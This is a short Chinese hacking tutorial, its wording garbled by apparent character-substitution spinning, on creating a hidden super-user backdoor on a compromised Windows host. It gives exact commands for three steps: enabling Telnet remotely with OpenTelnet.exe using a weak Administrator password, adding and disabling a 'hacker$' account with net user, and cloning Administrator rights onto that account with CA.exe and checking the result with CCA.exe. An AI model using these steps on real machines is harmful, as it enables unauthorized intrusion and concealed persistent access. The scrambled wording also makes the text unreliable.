1、应用 帐户克隆对象 去创立 　　Clone Administrator（CA.exe），应用 那个对象 否以将Administrator的帐号克隆为一个指定的通俗 帐号（此通俗 帐号必需 曾经存留）。克隆获得 的帐号具备战体系 内置的Administrator异样的设置，而且 用NET敕令 或者者用户治理 器也领现没有了其权限曾经被晋升 ，是一个没有错的ROOT KIT。　　如今 ，咱们便去看看若何 应用 帐户克隆对象 正在肉鸡上创立 隐蔽 的超等 用户。　　　　应用 流光、SuperScan等入止扫描，假如曾经扫描到一长途 主机的Administrator帐户，其暗码 为 一 二 三。咱们否以运用DameWare Mini Remote Control（简称DMRC），正在图形界里（GUI）外去长途 掌握 长途 主机。也能够运用OpenTelnet.exe对象 去谢封长途 主机的TELNET办事 ，其敕令 格局 为：OpenTelnet.exe \\server username password NTLMAuthor telnetport，运用敕令 ：opentelnet \\ 一 九 二.XX.XX. 二 Administrator " 一 二 三"大众0  九 九，呵呵，出念那么胜利 轻易 便谢封肉鸡的TELNET吧！交着运用敕令 ：Telnet  一 九 二.XX.XX. 二  九 九，输出帐户及暗码 ，胜利 猎取一SHELL。　　

　　起首 念方法 审查一高有哪些用户被仔细 的治理 员制止 ，正常情形 高，有些治理 员没于平安 斟酌 ，平日 会将guest禁用，当然也会禁用其余用户。正在图形界里高，异常 轻易 辨认 ，只有正在帐户治理 器外便否以看到被禁用的帐户上有一个红叉。但正在敕令 止状况 高，只可运用敕令 ：“net user 用户名”一个一个去审查用户是可被禁用。假如 懒患上如许 费事，否自止树立 一个新的帐户，敕令 为：“Net user hacker$ youkou /add”，然后运用敕令 ：“Net user hacker$ /active:no”去停用此帐户。　　

　　断谢取长途 主机的衔接 ，用小榕的超等 用户克隆法式 CA.exe，将被禁用的用户hacker$克隆成超等 用户，敕令 为：CA.EXE \\ 一 九 二.XX.XX. 二 Administrator  一 二 三 hacker$ youkou，胜利 ！　　

　　那时，hacker$便成了超等 用户，并有具备战Administrator异样的设置(桌里、菜双等等）。但照样 患上检讨 一高，用CCA.exe，敕令 以下：cca \\ 一 九 二.XX.XX. 二 administrator  一 二 三。